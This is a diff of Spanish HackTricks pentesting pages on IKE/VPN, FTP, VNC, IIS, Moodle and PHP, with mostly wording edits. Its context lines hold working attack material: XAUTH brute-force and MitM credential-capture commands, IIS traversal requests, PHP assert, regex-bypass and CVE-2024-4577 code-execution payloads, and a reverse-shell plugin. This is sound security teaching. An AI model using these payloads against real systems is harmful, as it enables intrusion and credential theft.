Obviamente, el objetivo de forzar el ID es obtener el **PSK** cuando tienes un ID válido. Luego, con el **ID** y el **PSK** tendrás que forzar el XAUTH (si está habilitado).
|
||||
- Finalmente, si el servidor no responde nada a las verificaciones, **ikeforce** intentará hacer fuerza bruta al servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
|
||||
Obviamente, el objetivo de hacer fuerza bruta al ID es obtener el **PSK** cuando tienes un ID válido. Luego, con el **ID** y el **PSK** tendrás que hacer fuerza bruta al XAUTH (si está habilitado).
|
||||
|
||||
Si has descubierto una transformación específica, agrégala en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
|
||||
```bash
|
||||
@ -159,13 +161,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
```
|
||||
### Sniffing ID
|
||||
|
||||
(Del libro **Network Security Assessment: Know Your Network**): También es posible obtener nombres de usuario válidos al esnifar la conexión entre el cliente VPN y el servidor, ya que el primer paquete del modo agresivo que contiene el ID del cliente se envía en claro.
|
||||
(From the book **Network Security Assessment: Know Your Network**): También es posible obtener nombres de usuario válidos al esnifar la conexión entre el cliente VPN y el servidor, ya que el primer paquete del modo agresivo que contiene el ID del cliente se envía en claro.
|
||||
|
||||
.png>)
|
||||
|
||||
## Capturing & cracking the hash
|
||||
|
||||
Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si se **permite el modo agresivo**, entonces puedes capturar muy fácilmente el hash que se puede romper:
|
||||
Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si se **permite el modo agresivo**, entonces puedes capturar muy fácilmente el hash que se puede crackear:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
@ -183,7 +185,7 @@ Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Proto
|
||||
|
||||
### Captura de credenciales MitM en la red local
|
||||
|
||||
Así puedes capturar los datos de inicio de sesión usando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo cual se puede hacer con la ayuda de ARP spoofing, [más info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth:
|
||||
Así que puedes capturar los datos de inicio de sesión usando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo que se puede hacer con la ayuda de ARP spoofing, [más info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
@ -191,7 +193,7 @@ También, usando IPSec intenta realizar un ataque MitM y bloquear todo el tráfi
|
||||
|
||||
### Fuerza bruta del nombre de usuario y contraseña XAUTH con ikeforce
|
||||
|
||||
Para forzar el **XAUTH** (cuando conoces un nombre de grupo válido **id** y el **psk**) puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
|
||||
Para realizar un ataque de fuerza bruta al **XAUTH** (cuando conoces un nombre de grupo **id** válido y el **psk**) puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
@ -223,7 +225,7 @@ En esta configuración:
|
||||
- Reemplace `[VPN_CONNECTION_ID]` con el identificador de la conexión VPN.
|
||||
- Reemplace `[VPN_GROUP_SECRET]` con el secreto del grupo de la VPN.
|
||||
- Reemplace `[VPN_USERNAME]` y `[VPN_PASSWORD]` con las credenciales de autenticación de la VPN.
|
||||
- `[PID]` simboliza el ID del proceso que se asignará cuando `vpnc` inicie.
|
||||
- `[PID]` simboliza el ID del proceso que se asignará cuando `vpnc` se inicie.
|
||||
|
||||
Asegúrese de que se utilicen valores reales y seguros para reemplazar los marcadores de posición al configurar la VPN.
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
El **Protocolo de Transferencia de Archivos (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\
|
||||
El **File Transfer Protocol (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\
|
||||
Es un protocolo **de texto plano** que utiliza como **carácter de nueva línea `0x0d 0x0a`** por lo que a veces necesitas **conectarte usando `telnet`** o **`nc -C`**.
|
||||
|
||||
**Puerto por Defecto:** 21
|
||||
@ -122,7 +122,7 @@ Tenga en cuenta que si una **aplicación web** está enviando datos controlados
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
Si su usuario/contraseña tiene caracteres especiales, se puede usar el [siguiente comando](https://stackoverflow.com/a/113900/13647948):
|
||||
Si tu usuario/contraseña tiene caracteres especiales, se puede usar el [siguiente comando](https://stackoverflow.com/a/113900/13647948):
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
@ -135,7 +135,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`EPRT |2|127.0.0.1|80|`** Esto indicará al servidor FTP que establezca una conexión TCP (_indicado por "2"_) con la IP 127.0.0.1 en el puerto 80. Este comando **soporta IPv6**.
|
||||
- **`LIST`** Esto enviará la lista de archivos en la carpeta actual
|
||||
- **`LIST -R`** Listar recursivamente (si lo permite el servidor)
|
||||
- **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una conexión **pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la información.
|
||||
- **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una conexión **pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la data.
|
||||
- **`STOR /path/something.txt`** Como `APPE` pero sobrescribirá los archivos
|
||||
- **`STOU /path/something.txt`** Como `APPE`, pero si existe no hará nada.
|
||||
- **`RETR /path/to/file`** Se debe establecer una conexión pasiva o de puerto. Luego, el servidor FTP enviará el archivo indicado a través de esa conexión
|
||||
@ -164,16 +164,16 @@ Es muy probable que esto **lance un error como** _**Socket no writable**_ **porq
|
||||
|
||||
- Si estás enviando una solicitud HTTP, **pon la misma solicitud una tras otra** hasta **\~0.5MB** al menos. Así:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
{{#endfile}}
|
||||
|
||||
- Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP quizás solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo)
|
||||
- Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP, tal vez solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo)
|
||||
- Simplemente **llena la solicitud con muchos caracteres nulos u otros** (divididos en líneas o no)
|
||||
|
||||
De todos modos, aquí tienes un [viejo ejemplo sobre cómo abusar de esto para hacer que un servidor FTP descargue un archivo de otro servidor FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Vulnerabilidad del servidor Filezilla
|
||||
## Vulnerabilidad del Servidor Filezilla
|
||||
|
||||
**FileZilla** generalmente **se vincula** a **local** un **servicio administrativo** para el **FileZilla-Server** (puerto 14147). Si puedes crear un **túnel** desde **tu máquina** para acceder a este puerto, puedes **conectarte** a **él** usando una **contraseña en blanco** y **crear** un **nuevo usuario** para el servicio FTP.
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Información Básica
|
||||
|
||||
**Virtual Network Computing (VNC)** es un robusto sistema de compartición de escritorio gráfico que utiliza el protocolo **Remote Frame Buffer (RFB)** para habilitar el control remoto y la colaboración con otra computadora. Con VNC, los usuarios pueden interactuar sin problemas con una computadora remota al transmitir eventos de teclado y mouse de manera bidireccional. Esto permite el acceso en tiempo real y facilita la asistencia remota o colaboración eficiente a través de una red.
|
||||
@ -23,7 +22,7 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
```bash
|
||||
vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
```
|
||||
## Desencriptando la contraseña de VNC
|
||||
## Desencriptar la contraseña de VNC
|
||||
|
||||
La **contraseña por defecto se almacena** en: \~/.vnc/passwd
|
||||
|
||||
@ -32,15 +31,16 @@ Si tienes la contraseña de VNC y parece estar encriptada (unos pocos bytes, com
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
Puedes hacer esto porque la contraseña utilizada dentro de 3des para encriptar las contraseñas de VNC en texto plano fue revertida hace años.\
|
||||
Puedes hacer esto porque la contraseña utilizada dentro de 3des para encriptar las contraseñas VNC en texto plano fue revertida hace años.\
|
||||
Para **Windows** también puedes usar esta herramienta: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Guardo la herramienta aquí también para facilitar el acceso:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -37,7 +37,9 @@ Más información y técnicas para explotar esta vulnerabilidad [aquí](https://
|
||||
|
||||
Descarga la lista que he creado:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
Fue creada fusionando los contenidos de las siguientes listas:
|
||||
|
||||
@ -48,7 +50,7 @@ Fue creada fusionando los contenidos de las siguientes listas:
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
Úsalo sin añadir ninguna extensión, los archivos que la necesitan ya la tienen.
|
||||
Úsala sin añadir ninguna extensión, los archivos que la necesitan ya la tienen.
|
||||
|
||||
## Traversal de ruta
|
||||
|
||||
@ -74,9 +76,9 @@ Esta solicitud revela varias configuraciones y dependencias, tales como:
|
||||
|
||||
- **EntityFramework** versión
|
||||
- **AppSettings** para páginas web, validación de clientes y JavaScript
|
||||
- **System.web** configuraciones para autenticación y tiempo de ejecución
|
||||
- **System.webServer** configuraciones de módulos
|
||||
- **Runtime** enlaces de ensamblado para numerosas bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** y **System.Web.Mvc**
|
||||
- Configuraciones de **System.web** para autenticación y tiempo de ejecución
|
||||
- Configuraciones de módulos de **System.webServer**
|
||||
- Vínculos de ensamblado de **Runtime** para numerosas bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** y **System.Web.Mvc**
|
||||
|
||||
Estas configuraciones indican que ciertos archivos, como **/bin/WebGrease.dll**, se encuentran dentro de la carpeta /bin de la aplicación.
|
||||
|
||||
@ -93,7 +95,7 @@ Host: example-mvc-application.minded
|
||||
```
|
||||
### **Descargando DLLs**
|
||||
|
||||
La mención de un espacio de nombres personalizado sugiere una DLL llamada "**WebApplication1**" presente en el directorio /bin. A continuación, se muestra una solicitud para descargar la **WebApplication1.dll**:
|
||||
La mención de un espacio de nombres personalizado sugiere la presencia de una DLL llamada "**WebApplication1**" en el directorio /bin. A continuación, se muestra una solicitud para descargar la **WebApplication1.dll**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -185,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
Si ves un error como el siguiente:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Significa que el servidor **no recibió el nombre de dominio correcto** dentro del encabezado Host.\
|
||||
Para acceder a la página web, podrías echar un vistazo al **Certificado SSL** servido y tal vez puedas encontrar el nombre de dominio/subdominio allí. Si no está allí, es posible que necesites **fuerza bruta VHosts** hasta que encuentres el correcto.
|
||||
@ -197,7 +199,7 @@ Para acceder a la página web, podrías echar un vistazo al **Certificado SSL**
|
||||
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) usando esta **técnica**.\
|
||||
La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos.
|
||||
|
||||
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -207,7 +209,7 @@ También puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Una buena idea para **encontrar el nombre final** de los archivos descubiertos es **preguntar a LLMs** por opciones como se hace en el script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Bypass de autenticación básica
|
||||
### Bypass de Autenticación Básica
|
||||
|
||||
**Bypass** de una autenticación básica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
@ -219,7 +221,7 @@ ASP.NET incluye un modo de depuración y su archivo se llama `trace.axd`.
|
||||
|
||||
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un período de tiempo.
|
||||
|
||||
Esta información incluye IPs de clientes remotos, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información del código fuente y potencialmente incluso nombres de usuario y contraseñas.
|
||||
Esta información incluye IPs de clientes remotos, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información de código fuente y potencialmente incluso nombres de usuario y contraseñas.
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||
@ -231,13 +233,13 @@ ASPXAUTH utiliza la siguiente información:
|
||||
|
||||
- **`validationKey`** (cadena): clave codificada en hex para usar en la validación de firma.
|
||||
- **`decryptionMethod`** (cadena): (por defecto “AES”).
|
||||
- **`decryptionIV`** (cadena): vector de inicialización codificado en hex (por defecto a un vector de ceros).
|
||||
- **`decryptionIV`** (cadena): vector de inicialización codificado en hex (por defecto un vector de ceros).
|
||||
- **`decryptionKey`** (cadena): clave codificada en hex para usar en la desencriptación.
|
||||
|
||||
Sin embargo, algunas personas usarán los **valores predeterminados** de estos parámetros y usarán como **cookie el correo electrónico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que está utilizando la cookie ASPXAUTH y **creas un usuario con el correo electrónico del usuario que deseas suplantar** en el servidor bajo ataque, podrías ser capaz de **usar la cookie del segundo servidor en el primero** y suplantar al usuario.\
|
||||
Este ataque funcionó en este [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Bypass de autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## Bypass de Autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Informe completo aquí](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un error en el código **no verificó correctamente la contraseña proporcionada por el usuario**, por lo que un atacante cuyo **hash de contraseña coincide con una clave** que ya está en la **caché** podrá iniciar sesión como ese usuario.
|
||||
```python
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Escaneos Automáticos
|
||||
|
||||
### droopescan
|
||||
@ -73,9 +72,11 @@ Necesitas tener el rol de **manager** y **puedes instalar plugins** dentro de la
|
||||
|
||||
Si eres manager, es posible que aún necesites **activar esta opción**. Puedes ver cómo en el PoC de escalada de privilegios de moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Luego, puedes **instalar el siguiente plugin** que contiene el clásico pentest-monkey php r**ev shell** (_antes de subirlo, necesitas descomprimirlo, cambiar la IP y el puerto del revshell y volver a comprimirlo_)
|
||||
Luego, puedes **instalar el siguiente plugin** que contiene el clásico rev shell de pentest-monkey php r**ev shell** (_antes de subirlo, necesitas descomprimirlo, cambiar la IP y el puerto del revshell y volver a comprimirlo_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
O podrías usar el plugin de [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) para obtener un shell PHP regular con el parámetro "cmd".
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Ubicación común de las cookies:
|
||||
|
||||
Esto también es válido para las cookies de phpMyAdmin.
|
||||
@ -19,7 +18,7 @@ Ubicaciones:
|
||||
/tmp/
|
||||
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Bypass de comparaciones en PHP
|
||||
## Bypass de comparaciones PHP
|
||||
|
||||
### Comparaciones sueltas/Juggling de tipos ( == )
|
||||
|
||||
@ -29,16 +28,18 @@ Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número
|
||||
- `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato decimal o hexadecimal pueden compararse con otros números/cadenas con True como resultado si los números son los mismos (los números en una cadena se interpretan como números)
|
||||
- `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
|
||||
- `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
|
||||
- `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de la cadena de "0" y algún contenido que se está hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0
|
||||
|
||||
Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
Más info en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in_array()**
|
||||
|
||||
@ -63,7 +64,7 @@ El mismo error ocurre con `strcasecmp()`
|
||||
|
||||
### Conversión de tipos estricta
|
||||
|
||||
Incluso si se está utilizando `===`, podría haber errores que hacen que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
|
||||
Incluso si `===` está **siendo utilizado**, podría haber errores que hacen que la **comparación sea vulnerable** a la **conversión de tipos**. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -97,7 +98,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
|
||||
#### **Bypass de error de longitud**
|
||||
|
||||
(Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
|
||||
Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
|
||||
Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **bypassear** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -109,12 +110,12 @@ Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wr
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
|
||||
En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [se establece por defecto en 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
|
||||
|
||||
[Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\
|
||||
**Enviar una entrada que hiciera que la regex realizara 100_000+ recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devolviera `false`, haciendo que la aplicación pensara que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> flag :)**.
|
||||
|
||||
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\
|
||||
Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) se establece por defecto en 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\
|
||||
Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
@ -171,7 +172,7 @@ True
|
||||
```
|
||||
### HTTP headers bypass abusando de errores de PHP
|
||||
|
||||
#### Causando un error después de establecer encabezados
|
||||
#### Causando error después de establecer encabezados
|
||||
|
||||
Desde [**este hilo de twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) puedes ver que al enviar más de 1000 parámetros GET o 1000 parámetros POST o 20 archivos, PHP no va a establecer encabezados en la respuesta.
|
||||
|
||||
@ -183,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Llenando un cuerpo antes de establecer encabezados
|
||||
|
||||
Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\
|
||||
Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\
|
||||
En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario):
|
||||
|
||||
.png>)
|
||||
@ -222,7 +223,7 @@ Esta opción de preg_replace ha sido **desaprobada a partir de PHP 5.5.0.**
|
||||
```
|
||||
### **RCE a través de Assert()**
|
||||
|
||||
Esta función dentro de php permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
|
||||
Esta función dentro de php permite **ejecutar código que está escrito en una cadena** con el fin de **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE** podrías hacer:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
@ -256,7 +257,7 @@ function foo($x,$y){
|
||||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
Puedes usar también **//** para comentar el resto del código.
|
||||
Puedes también usar **//** para comentar el resto del código.
|
||||
|
||||
Para descubrir el número de paréntesis que necesitas cerrar:
|
||||
|
||||
@ -293,7 +294,7 @@ El servidor web analiza las solicitudes HTTP y las pasa a un script PHP ejecutan
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Además, es posible inyectar el parámetro "-" utilizando el carácter 0xAD debido a la normalización posterior de PHP. Consulta el ejemplo de exploit de [**esta publicación**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
Además, es posible inyectar el parámetro "-" utilizando el carácter 0xAD debido a la normalización posterior de PHP. Consulta el ejemplo de explotación de [**esta publicación**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -308,7 +309,7 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
## Bypass de sanitización de PHP & Brain Fuck
|
||||
|
||||
[**En esta publicación**](https://blog.redteam-pentesting.de/2024/moodle-rce/) es posible encontrar grandes ideas para generar un código PHP de brain fuck con muy pocos caracteres permitidos.\
|
||||
Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias verificaciones:
|
||||
@ -333,7 +334,7 @@ Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofusc
|
||||
|
||||
Las envolturas y protocolos PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## RCE no autenticada de Xdebug
|
||||
## RCE no autenticado de Xdebug
|
||||
|
||||
Si ves que **Xdebug** está **habilitado** en una salida de `phpconfig()`, deberías intentar obtener RCE a través de [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
@ -349,7 +350,7 @@ echo "${Da}"; //Drums
|
||||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
